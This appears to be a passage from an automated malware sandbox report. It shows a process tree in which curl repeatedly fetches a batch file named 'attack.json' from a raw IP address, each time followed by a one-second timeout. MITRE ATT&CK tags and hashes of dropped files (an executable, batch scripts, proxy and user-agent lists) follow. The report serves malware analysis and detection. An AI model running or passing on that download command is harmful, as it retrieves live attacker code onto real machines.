    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1576
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3744
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2472
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:520
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3456
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3688
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4744
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4148
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3584
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4052
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1604
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1800
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:976
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3732
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:812
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3444
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:232
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3684
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4520
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1588
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2340
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4792
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3432
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4080
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2288
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:408
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2816
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3252
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4592
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3280
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2372
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1468
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1544
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1516
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4008
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4328
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:724
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1620
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2868
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4868
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3968
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1984
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4768
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3000
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1652
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:972
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4920
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1424
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2740
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1412
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4896
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4788
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3740
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\36CF.tmp\36D0.tmp\36D1.bat

Filesize
1KB

MD5
846dea03c3f3cc1169c7703f5a028cf6

SHA1
0bfbdbbdd83a253f57552e850c33027ce909f334

SHA256
b57d6989e48bee00b2f8a3ed55ba001279b719dae06c6acf9657d8682d56a054

SHA512
9f5e9d0decb8bb51d94f5cd27221cb2e2f57e0136082ddb50d81c50315eb3fbc0d4bd1c81cabf99b33e496cf97b5baaef18c3b83bb5b9513e40727de30a7dff6

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
7.8MB

MD5
7d9ee7e044f837c4bbe9410e61fa074c

SHA1
c28edad58d26940a7beb81a4f6b3d1b2b465cf7c

SHA256
345c45b335cb83fdfbe3fbfad9fee6af6b672758d40fca490dfeb9f8acf97e6b

SHA512
c727a9f578a2580a43e40b00a8356e851d90262683c91f3733ef436fc4e69597483cd8373358210991da40acc0717880733f9472572a6eb4f9b234640be44f94

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
8.8MB

MD5
c4d22f80296663f5fae3df89c14caeef

SHA1
da904d6991b9385645a1915fce697fa558d0e4ce

SHA256
be1731ae4446b2df788519dde2f4b8d73bc01b425c2ab9cf6ce014ad356f5385

SHA512
763c0581e292bfa54a0c9b10839a103bbf510cc5277bfaaa5b3b07142c03bb3e440d7987799322c3dc5f45fb5250f4a30d3e5de5ed7cc127834ed785929eb98c

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
7.6MB

MD5
fee744039eed1d18ba4eff8e5420db01

SHA1
18830f1d45d629d33666a2f43ee6d3ec1631dc3a

SHA256
8ecdd14792d2e09d23a545f01c363ba43524925194e7bc2fcdfc053e19bce7d3

SHA512
4a27c93673720c541c77205666773529467257ee1e32a3dd3aa57d003bf604f69b435708f8b1c93586b3ba4da7e1c61681583cb709f01aee22e1461013297227

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
8.1MB

MD5
12d2fdf6ad00473d2fb21841ddf76b01

SHA1
ca3fe6cb7bc4f2840ba8e69b0d41d7e880fea7e5

SHA256
f5b9ca9cf3e66494d32e202d4ce85ee4c6f2aa924eb5549212677c4c5f9cfe95

SHA512
f0a227b5c0105e82098f6771842c3c6e6b5c0b78ed5d1ee2ee0e59097d00afc4e2c15855de9413727e133de2c90c7eec0628e2537337dd3944d8a48690ff0907

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
6.9MB

MD5
fb01963baa534252237a66771e0ae16c

SHA1
7563f1bacdb6c3c5ff9f89ed4750ea5c12072419

SHA256
c0861264e416423584e54ed353c990230e41b6483bf5398905ed41350ba74092

SHA512
f633b280ffcc72f0639ad60bd275e1e8087baf201a9a21edb60c23a35c339fd718493495558ab1899e777c6c962c9c8368afafcb3db09aaa4c81d3948f3ef6ea

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
8.6MB

MD5
14ad2446353c536cf5e7502604c35392

SHA1
4d8292a713b29130cccc173f767b8f16ab8ef9e6

SHA256
c076709a91a62893b48f7b5a6d07a80ddea723adc26ed61fc952b4afdffb259f

SHA512
8770d3fc6939377efc109b75cb747b3ab073dc060dbca61bf45c221b4fb58f6e4690872d2a99e79bd692a388faa8b623e8d6c3507ed4b5c998c2cca22ed349c8

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
7.4MB

MD5
ffd206eca0ea729c62a36f36aaaf5f20

SHA1
4c2b98ec4ebc158f6256a1d3bb99d167d983247f

SHA256
8e6705c404f79543ce7864225abad583fe96cfe442dd1d914f44238f03e2869e

SHA512
0ec5ceac539c9d69ce6ed8e5a994618c6f77574bddbc87c566d2af33ac192fb0b8e162534e1861b95f6641739de455e5205b1fbdda2e15fab8c9e574101e04af

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
7.3MB

MD5
34b3c9a31b17adffdd7399edaeabe76d

SHA1
1abf95fa43e41bbeb0147d1083030f837c9c9e9a

SHA256
0dc1d205603359f74a99d9626211574923697bda6f3c7114b8cefe98e2f8a6fa

SHA512
a7aa8ba36a29738e221824f977c87639298c0c85431211aef985bfef8e7435750023c7ca7b32aaa92f4127a4b0cb94bf8c85cc6660f60877a485da2d123dd7cc

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
8.4MB

MD5
0c74839691d8a187da8328944a177f7f

SHA1
434e4d1707a57206bc786a20e7737fc6a6aa281f

SHA256
e96c6f7945f988a640554d6f497cdbada79120faf3802aa69cf0acea606fb4ce

SHA512
4dad437719a8c934246e3391eddbf3f27be8644c8c200b2541dc9a7cb8fa70dfaa880dbf8a36f2e1403bff056803e694ccf5e4c4bb385650ed84cda11ef4ee88

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe

Filesize
7.1MB

MD5
b7ce1c66f8f779b1207026840bd02dd8

SHA1
269a7d640f3beffa3abbaf3d21a7198b313eb109

SHA256
f09b9431d742b9fefd5665c00088e502bf33d1e939d6016f770d4c6125d1b3c4

SHA512
18efd6f29b1939d6825c603f15a232f0207f750a29f73a2c47c8c436d7b7c1b92ab82ac402a770beb0b55d2f857efcc9d9ff20bdfabf96c3f2940f61a46d0b24

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
570B

MD5
690306ba127b10728cf860d3142db013

SHA1
f4af61a6e37c493cf7b65983f49609b1a6ec3950

SHA256
b4ddec1800521ca1b21a5eebd5f9cf7551126d1c99453434ea02ed2d32aa3def

SHA512
937c47878d2866d355c8b068ea352d4f4ab7b304f4ccf1d46460b88797b4dc1ef5bfdb35f57267bd0cd542aa749fdfb44078a3653ed221d38bbb75a059acef43

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
14B

MD5
3d9a2eb0a610ccb52ea2403a6fa90c94

SHA1
7a5e79bc20e8ff54bbdca613592320d6761d799d

SHA256
bf599881101ca656921c4dda25c47259ca8445011ad1fb0a1f39bf9132b0a072

SHA512
30e151b395574d9e9e71a43168739aaa68faadebb642b312016fce6741e06e7b9cdd11d80bbf404706882620db22ed4e408ae003345abe663a80d572292c5047

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
224B

MD5
3c5f127334d4d66e9db01fd3a9a8da03

SHA1
167b7de887356254ea0cb704e4456ae580fd33e5

SHA256
3b07e256b36bc51ae56831bde2c3429b2d8de0195201bc0e03803d2f2d22584c

SHA512
5e81e0c87d24d1676f43e57213a1ef98a070c6fe59d9cbab726555b01fb5a4d9cc8e3a0d11968cb475e6e520bce523dfe03237b447933c4401982a98ee7fcc6f

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
297B

MD5
db3c2473972c39320b19e08c89c391ff

SHA1
d3fc1337464746ba3d28ff342db7cb45a51b3eb9

SHA256
7be088b7ada97cc52904eacd86b828d603c286dc6d772763699bf4887a08e2c2

SHA512
332d0fcfaa811a3e2ba908370a924ea22c2550d4a3644481ecaadb6fe5d1347b33ab45aaaff295d6208eb8149eb8b6ab15e52396c5c9003a22869de00247f43c

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
4B

MD5
53e3bd3288b2d472253d09c726b02467

SHA1
1bb12de8d268a2c31bb490172b8e309e4ef4a281

SHA256
2beb24e4d1a07ce13e226c7c9341eacd417a5e8d1f0c0b479700968bfee696b2

SHA512
3d96af5d89e52a58a0dee3f1a791f96d2f4f33f7f024eb36e166f7d9b3223d582e6f60e575a58284c91d4292c20266674cf2a63fca53c164c49791a5bcb4a3fc

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
93B

MD5
83481c395d92cea937ab33823dcb0351

SHA1
dd208859a605388d96e5026780d983d31ec0bae3

SHA256
f98f02853e6d2f78258fa13262f2f15cf9a16648cb56b3a8afe1f04b6c4aac41

SHA512
25ce12c7044bf39a4ea273b28f53eae887a831b0abe5dae0720a21d9809e496e5056e52edea3e6e9d33bc81b360f0552674ba91f004361db28a341958a604552

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\iAYY.bat

Filesize
94B

MD5
f7bb4dbd1efa2c954a955ec7f09a280e

SHA1
6c34de949347f3df83672334482a49afac08296d

SHA256
d798a985904575aa556c614befd11ca69d5e6620050d147e9298c476352a095b

SHA512
b80019a780b719583cc272ef6890059b1ebc325d92176682e4b302900e6f48a4118afdce28fd7f1beda8a2d2eab4efe6ccd2a4bc882187b24dee8610b66dad50

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\proxy.txt

Filesize
48KB

MD5
39176ee9d49f88b0fe83e1f39d1d6ace

SHA1
9ac578377f38f62cf187b4fef4dc7e71668d1095

SHA256
b45dc92e658fefc51b6c1e1109be58c057e356402b3f0911b6dbd34deee8571f

SHA512
29833561cbb05260eb08d2c8dc2beafd062dd6c136f169ba8c036fcdefa5c674e19d2d75b50f5c4ddd55c9e05a230eb8be4da10ecd8d4edb51cf27cb03aa0637

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\ua.txt

Filesize
611KB

MD5
14e1ad3a0e97916d917ae0b6687cd200

SHA1
d5154b85ad162f3f5714f9d578dfb4fca9b6af63

SHA256
1a6de1acb8f22f98e2ada85b8cc4a9dab5233c16a60205c726e3366f1d6fc8ff

SHA512
11ddcf49a59f11f619db09e39eb4deb4de80a2c1721452beac8df3cf1ec59c7b9193737beea078a297b6b79adbecf05342e3bac4af26ab9c6e9c60096d01b791

Download Submit
memory/3196-1011-0x00007FF94F8E0000-0x00007FF94FA81000-memory.dmp

Filesize
1.6MB

Download
memory/3196-1018-0x00007FF951270000-0x00007FF951278000-memory.dmp

Filesize
32KB

Download
memory/3196-1015-0x00007FF94EB70000-0x00007FF94EC0D000-memory.dmp

Filesize
628KB

Download
memory/3196-1014-0x00007FF94EC60000-0x00007FF94ED6B000-memory.dmp

Filesize
1.0MB

Download
memory/3196-1013-0x00007FF94FD10000-0x00007FF94FD3B000-memory.dmp

Filesize
172KB

Download
memory/3196-1012-0x00007FF94F000000-0x00007FF94F022000-memory.dmp

Filesize
136KB

Download